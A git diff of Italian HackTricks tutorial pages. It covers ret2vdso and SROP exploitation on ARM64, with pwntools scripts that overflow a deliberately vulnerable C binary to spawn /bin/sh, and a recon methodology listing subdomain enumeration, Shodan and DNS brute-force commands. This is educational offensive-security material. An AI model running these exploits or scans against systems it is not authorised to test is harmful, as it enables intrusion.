pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Nota quindi come potrebbe essere possibile **bypassare ASLR sfruttando il vdso** se il kernel è compilato con CONFIG\_COMPAT\_VDSO poiché l'indirizzo vdso non verrà randomizzato: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
{% endhint %}
|
||||
|
||||
### ARM64
|
||||
|
||||
Dopo aver dumpato e controllato la sezione vdso di un binario in kali 2023.2 arm64, non ho trovato alcun gadget interessante lì (nessun modo per controllare i registri dai valori nello stack o per controllare x30 per un ret) **eccetto un modo per chiamare un SROP**. Controlla ulteriori informazioni nell'esempio dalla pagina:
|
||||
|
||||
{% content-ref url="srop-sigreturn-oriented-programming/srop-arm64.md" %}
|
||||
[srop-arm64.md](srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,33 +6,75 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Code
|
||||
## Esempio di Pwntools
|
||||
|
||||
Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario **legge nello stack** e poi chiama **`sigreturn`**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
binsh = "/bin/sh"
|
||||
context.clear()
|
||||
context.arch = "arm64"
|
||||
|
||||
asm = ''
|
||||
asm += 'sub sp, sp, 0x1000\n'
|
||||
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
|
||||
asm += shellcraft.sigreturn() # Call sigreturn
|
||||
asm += 'syscall: \n' #Easy symbol to use in the exploit
|
||||
asm += shellcraft.syscall()
|
||||
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
|
||||
binary = ELF.from_assembly(asm)
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = constants.SYS_execve
|
||||
frame.x0 = binary.symbols['binsh']
|
||||
frame.x1 = 0x00
|
||||
frame.x2 = 0x00
|
||||
frame.pc = binary.symbols['syscall']
|
||||
|
||||
p = process(binary.path)
|
||||
p.send(bytes(frame))
|
||||
p.interactive()
|
||||
```
|
||||
## Esempio di bof
|
||||
|
||||
### Codice
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x0, #139; svc #0;");
|
||||
__asm__("mov x8, 0x8b; svc 0;");
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
|
@ -44,11 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
|||
```
|
||||
## Exploit
|
||||
|
||||
L'exploit sfrutta il bof per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Per qualche motivo che non conosco, la chiamata a **`sigreturn`** non sta facendo nulla, quindi non funziona.
|
||||
{% endhint %}
|
||||
L'exploit sfrutta il buffer overflow per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -58,41 +96,109 @@ libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
|||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
|
||||
svc_call = 0x00000000004006a4 # svc #0x0
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh # pointer to /bin/sh
|
||||
frame.x1 = 0x4343434343434343 # NULL
|
||||
frame.x2 = 0x0 # NULL
|
||||
frame.x0 = binsh
|
||||
frame.x1 = 0x00 # NULL
|
||||
frame.x2 = 0x00 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += b"B" * len(bytes(frame))
|
||||
|
||||
with open("/tmp/i", "wb") as f:
|
||||
f.write(payload)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## Esempio di bof senza sigreturn
|
||||
|
||||
### Codice
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
|
||||
|
||||
return buffer;
|
||||
}
|
||||
|
||||
char* gen_stack() {
|
||||
char use_stack[0x2000];
|
||||
strcpy(use_stack, "Hello, world!");
|
||||
char* b = vulnerable_function();
|
||||
return use_stack;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = gen_stack();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Exploit
|
||||
|
||||
Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** all'offset **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Pertanto, se ottenuto in modo non autorizzato, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./srop')
|
||||
elf = context.binary = ELF('./srop')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
sigreturn = 0x00000000004006e0 # Call to sig
|
||||
svc_call = 0x00000000004006e4 # svc #0x0
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.x8 = 0xdd # syscall number for execve
|
||||
frame.x0 = binsh
|
||||
frame.x1 = 0x00 # NULL
|
||||
frame.x2 = 0x00 # NULL
|
||||
frame.pc = svc_call
|
||||
|
||||
payload = b'A' * stack_offset
|
||||
payload += p64(sigreturn)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Per ulteriori informazioni su vdso controlla:
|
||||
|
||||
{% content-ref url="../ret2vdso.md" %}
|
||||
[ret2vdso.md](../ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
E per aggirare l'indirizzo di `/bin/sh` potresti creare diverse variabili d'ambiente che puntano ad esso, per ulteriori informazioni:
|
||||
|
||||
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
|
||||
[aslr](../../common-binary-protections-and-bypasses/aslr/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -14,9 +14,9 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
Se sei interessato a una **carriera nell'hacking** e a violare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -24,17 +24,17 @@ Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile
|
|||
|
||||
> Ti è stato detto che tutto ciò che appartiene a un'azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dall'azienda principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende di proprietà dell'azienda principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
||||
|
||||
1. Trovare le acquisizioni dell'azienda principale, questo ci darà le aziende nel perimetro.
|
||||
2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
||||
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP di proprietà di ciascuna azienda.
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlati al primo (questo può essere fatto in modo ricorsivo).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||
|
||||
### **Acquisizioni**
|
||||
|
||||
Innanzitutto, dobbiamo sapere quali **altre aziende sono possedute dall'azienda principale**.\
|
||||
Una opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** l'**azienda principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Innanzitutto, dobbiamo sapere quali **altre aziende sono di proprietà dell'azienda principale**.\
|
||||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** l'**azienda principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Un'altra opzione è visitare la pagina **Wikipedia** dell'azienda principale e cercare **acquisizioni**.
|
||||
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende nel perimetro. Scopriamo come trovare i loro asset.
|
||||
|
@ -74,9 +74,9 @@ Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http:
|
|||
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
A questo punto conosciamo **tutte le risorse all'interno del perimetro**, quindi se ti è consentito potresti avviare uno scanner di **vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\
|
||||
Inoltre, potresti avviare alcuni [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e in base a ciò che trovi dovresti** consultare questo libro su come testare la penetrazione di diversi servizi possibili in esecuzione.\
|
||||
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcuni elenchi di** nomi utente predefiniti **e** password **e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
A questo punto conosciamo **tutte le risorse all'interno del perimetro**, quindi se ti è consentito potresti avviare uno **scanner di vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\
|
||||
Inoltre, potresti eseguire alcuni [**scansione delle porte**](../pentesting-network/#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e in base a ciò che trovi dovresti** consultare questo libro su come testare la penetrazione di diversi servizi possibili in esecuzione.\
|
||||
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcune** liste di nomi utente **e** password **predefinite e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domini
|
||||
|
||||
|
@ -88,7 +88,7 @@ Innanzitutto dovresti cercare il(i) **dominio(i) principale** di ciascuna aziend
|
|||
|
||||
### **DNS inverso**
|
||||
|
||||
Dato che hai trovato tutti gli intervalli di IP dei domini, potresti provare a eseguire **ricerche DNS inverse** su quegli **IP per trovare più domini all'interno del perimetro**. Prova a utilizzare alcuni server DNS della vittima o alcuni server DNS ben noti (1.1.1.1, 8.8.8.8)
|
||||
Dato che hai trovato tutti gli intervalli di IP dei domini, potresti provare a eseguire **ricerche DNS inverse** su quegli **IP per trovare altri domini all'interno del perimetro**. Prova a utilizzare alcuni server DNS della vittima o alcuni server DNS ben noti (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -121,7 +121,7 @@ Puoi anche eseguire una scoperta automatica reverse whois con [amass](https://gi
|
|||
Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
|
||||
Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine.
|
||||
|
||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altri:
|
||||
Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro ancora:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -131,7 +131,7 @@ Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tr
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Sapevi che possiamo trovare domini e sottodomini correlati al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo:
|
||||
Sapevi che possiamo trovare domini correlati e sottodomini al nostro obiettivo cercando lo stesso hash dell'icona favicon? Questo è esattamente ciò che fa lo strumento [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creato da [@m4ll0k2](https://twitter.com/m4ll0k2). Ecco come usarlo:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -140,7 +140,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
In poche parole, favihash ci permetterà di scoprire i domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
|
||||
Inoltre, è possibile cercare tecnologie utilizzando l'hash del favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash del favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare altri luoghi vulnerabili**:
|
||||
Inoltre, è possibile cercare tecnologie utilizzando l'hash dell'icona favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se si conosce l'**hash dell'icona favicon di una versione vulnerabile di una tecnologia web**, è possibile cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -179,13 +179,13 @@ Puoi utilizzare un sito web come [https://dmarc.live/info/google.com](https://dm
|
|||
|
||||
### **Assunzione passiva**
|
||||
|
||||
Apparentemente è comune che le persone assegnino sottodomini a IP che appartengono a fornitori di servizi cloud e a un certo punto **perdano quell'indirizzo IP ma dimentichino di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) in realtà **assumerai alcuni sottodomini**.
|
||||
Apparentemente è comune che le persone assegnino sottodomini a IP che appartengono a fornitori di servizi cloud e a un certo punto **perdono quel indirizzo IP ma dimenticano di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) in realtà **assumerai alcuni sottodomini**.
|
||||
|
||||
[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia a riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che vi puntano.
|
||||
Questo [**post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia a riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che vi puntano.
|
||||
|
||||
### **Altri metodi**
|
||||
|
||||
**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che ne trovi uno nuovo.**
|
||||
**Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
|
@ -211,7 +211,7 @@ _Nota che a volte il dominio è ospitato all'interno di un IP che non è control
|
|||
|
||||
## Sottodomini
|
||||
|
||||
> Conosciamo tutte le aziende all'interno dello scope, tutti gli asset di ciascuna azienda e tutti i domini correlati alle aziende.
|
||||
> Conosciamo tutte le aziende all'interno dell'ambito, tutti gli asset di ciascuna azienda e tutti i domini correlati alle aziende.
|
||||
|
||||
È ora di trovare tutti i possibili sottodomini di ciascun dominio trovato.
|
||||
|
||||
|
@ -221,7 +221,7 @@ Nota che alcuni degli strumenti e delle tecniche per trovare domini possono aiut
|
|||
|
||||
### **DNS**
|
||||
|
||||
Proviamo a ottenere **sottodomini** dai **record DNS**. Dovremmo anche provare per **Zone Transfer** (Se vulnerabile, dovresti segnalarlo).
|
||||
Proviamo a ottenere i **sottodomini** dai **record DNS**. Dovremmo anche provare per il **trasferimento di zona** (se vulnerabile, dovresti segnalarlo).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -308,7 +308,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti da AlienVault's Open Threat Exchange, il Wayback Machine e Common Crawl per un determinato dominio.
|
||||
* [**gau**](https://github.com/lc/gau)**:** recupera gli URL conosciuti dall'Open Threat Exchange di AlienVault, dal Wayback Machine e dal Common Crawl per un determinato dominio.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -328,7 +328,7 @@ shodan domain <domain>
|
|||
# Get other pages with links to subdomains
|
||||
shodan search "http.html:help.domain.com"
|
||||
```
|
||||
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
* [**Trova sotto dominio di Censys**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
```bash
|
||||
export CENSYS_API_ID=...
|
||||
export CENSYS_API_SECRET=...
|
||||
|
@ -341,7 +341,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) offre una API gratuita per cercare sottodomini e la cronologia degli IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Questo progetto offre gratuitamente tutti i sottodomini correlati ai programmi di bug bounty. Puoi accedere a questi dati anche utilizzando [chaospy](https://github.com/dr-0x0x/chaospy) o accedere allo scope utilizzato da questo progetto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Questo progetto offre gratuitamente tutti i sottodomini relativi ai programmi di bug bounty. Puoi accedere a questi dati anche utilizzando [chaospy](https://github.com/dr-0x0x/chaospy) o accedere allo scope utilizzato da questo progetto [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Puoi trovare un confronto di molti di questi strumenti qui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -361,7 +361,7 @@ E anche gli IP dei buoni risolutori DNS. Per generare un elenco di risolutori DN
|
|||
|
||||
Gli strumenti più raccomandati per il brute-force DNS sono:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace brute-force DNS. È molto veloce ma è soggetto a falsi positivi.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Questo è stato il primo strumento che ha eseguito un efficace brute-force DNS. È molto veloce ma è incline ai falsi positivi.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -371,7 +371,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) è un wrapper attorno a `massdns`, scritto in go, che ti permette di enumerare sottodomini validi utilizzando la forza bruta attiva, nonché risolvere sottodomini con gestione dei wildcard e supporto facile input-output.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) è un wrapper attorno a `massdns`, scritto in go, che ti permette di enumerare sottodomini validi utilizzando la forza bruta attiva, oltre a risolvere sottodomini con gestione dei wildcard e supporto facile input-output.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -392,7 +392,7 @@ Dopo aver trovato sottodomini utilizzando fonti aperte e brute-forcing, potresti
|
|||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Date i domini e i sottodomini generano permutazioni.
|
||||
* È possibile ottenere la lista di permutazioni di **wordlist** di goaltdns [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* È possibile ottenere la lista di permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
@ -400,13 +400,13 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio utilizzare gli strumenti precedentemente commentati).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare le permutazioni dei sottodomini, può anche provare a risolverli (ma è meglio utilizzare gli strumenti precedentemente commentati).
|
||||
* È possibile ottenere la **wordlist** delle permutazioni di altdns [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Un altro strumento per eseguire permutazioni, mutazioni e alterazioni dei sottodomini. Questo strumento forzerà il risultato (non supporta il wild card dns).
|
||||
